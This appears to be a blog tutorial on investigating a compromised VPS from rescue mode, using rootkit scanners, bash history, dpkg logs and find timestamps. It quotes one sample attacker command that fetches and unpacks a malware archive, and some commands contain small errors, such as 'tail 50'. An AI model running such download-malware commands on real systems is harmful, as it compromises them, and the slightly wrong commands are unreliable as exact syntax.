Continuing from the previous article on checking your VPS/Server for possible security compromises.
Introduction
We covered some basic techniques to collect the necessary information for tracking intruders in the previous article. We cannot trust binaries on a compromised VPS/Server since they can be trojaned by attackers.
Fortunately most VPS/Server Hosting provides us with a ‘Rescue’ mode to help troubleshoot these issues. We will use ‘Rescue’ mode to get more idea about how our VPS/Server was compromised and to determine non-compromised files before backing up the data.
Rescue Mode
We cannot rely on our VPS/Server’s operating system since it might be compromised too. The attacker could have trojaned binaries such as ‘ls’, ‘find’, and ‘netstat’, so their output could mislead you. Consequently, we need to use a different operating system environment to investigate the compromise safely.
This can be done by using the ‘Rescue Mode’ feature provided by the VPS/Server Hosting Manager, or for Localhosts you can use Finnix Media Rescue LiveCD, and you may need to create an Finnix Rescue USB-Stick.
if you on a Hosting Company, The rescue boot will use your current VPS/Server Public IP. Your original VPS/Server devices will be accessible within the rescue mode either as /dev/sda1 (root) and /dev/sda2 (swap), or as /dev/xvdb1 (root) and /dev/xvdb2 (swap). The device will differ depending on the distribution image used to build your VPS/Server.
A temporary root password will be flashed when the image has booted. Note: the SSH server key on the rescue image will be different from that on your regular VPS/Server.
There are three important things to keep in mind when connecting to the VPS/Server in this mode.
1- The root password you use in rescue mode is different from your regular root password.
2- SSH login for the rescue mode uses password-based authentication even though you may have key-based authentication on the original VPS/Server.
3- You need to use port number 22 for the ssh connection.
Configure your ssh client according to these three points and make an ssh connection to the VPS/Server.
Mount the file system of the original VPS/Server into /mnt/demo:
mkdir /mnt/demo mount /dev/sda1 /mnt/demo
Scanning Rootkits: Chkrootkit and rkhunter
There are several tools we recommend you install to scan your files.
I would recommend installing chkrootkit using your package manager rather than compiling from source.
apt-get install chkrootkit
We need to run chkrootkit against the mounted file system of the normal VPS/Server:
chkrootkit -r /mnt/demo
After you install rkhunter following this article you can run it against /mnt/demo.
rkhunter -c -r /mnt/demo
Checking Last Commands
We should check what users ran before the VPS/Server was compromised. This can give us an idea of how the VPS/Server security was breached.
The .bashhistory file contains the last commands used with the bash shell. We need to check .bashhistory files in each users’ home directories. The most important .bashhistory file is the one belonging to root: /root/.bashhistory.
A compromised VPN/Server may have entries like the following:
wget http://malware.tar.gz gunzip malware.tar.gz tar xf malware.tar
Checking Installed Packages
All changes to the packaging system are stored in /var/log/dpkg.log on Debian-based distributions.
tail 50 /mnt/demo/var/log/dpkg.log
This will show the last 50 lines of the dpkg.log file. We need to check this file for any suspicious activity like installed or removed packages, or a modified bus.
Find Command
The ‘find’ command is usually used to find filenames which have specific patterns. However, we can also use it to find the files modified/accessed within a specific time period.
For example we can find all files in /etc owned by root that have been modified within the last 2 days:
find /mnt/demo/etc -user root -mtime -2
The options we can use here are:
-atime: when the file was last accessed -ctime: when the file's permissions were last changed -mtime: when the file's data was last modified
You may have noticed that we have a minus sign in front of ‘2’ in the last example. The ‘time’ options for the find command are expressed in 24-hour increments, and the sign in front of the number can indicate ‘less than’ or ‘greater than’. Thus ‘-2’ means we want to find files which were modified within the last two days. If we wanted to find files that were modified more than 2 days ago, we would need to put a plus sign in front of the 2:
find /mnt/demo/etc -user root -mtime +2
There are also versions of the atime, ctime, and mtime arguments that measure time in minutes:
-amin: when (in minutes) the file was last accessed -cmin: when (in minutes) the file's permissions were last changed -mmin: when (in minutes) the file's data was last modified
Let’s find all files in our VPS/Server owned by the demo user that have been accessed within the last five minutes:
find /mnt/demo -user demo -amin -5
The following list of find command options might be useful during the compromised VPS/Server investigation:
-nouser: shows output that's not associated with an existing userid -nogroup: shows output not associated with an existing groupid -links n: file has n links -newer file: file was modified more recently than file. -perm mode: file has mode permissions.
Checking Logs and Suspicious files
We may find the culprit by checking suspicious files in /tmp, /var/tmp, /dev/shm, /var/spool/samba, /var/spool/squid, and /var/spool/cron.
Another place to look would be log files in the /var/log directory. For example, auth.log records user logon information including their IP address.
Summary
In this article we learned how to investigate our VPS/Server in rescue mode. The next step is to back up the data and rebuild the VPS/Server.
Author: Ismail @ SliceHost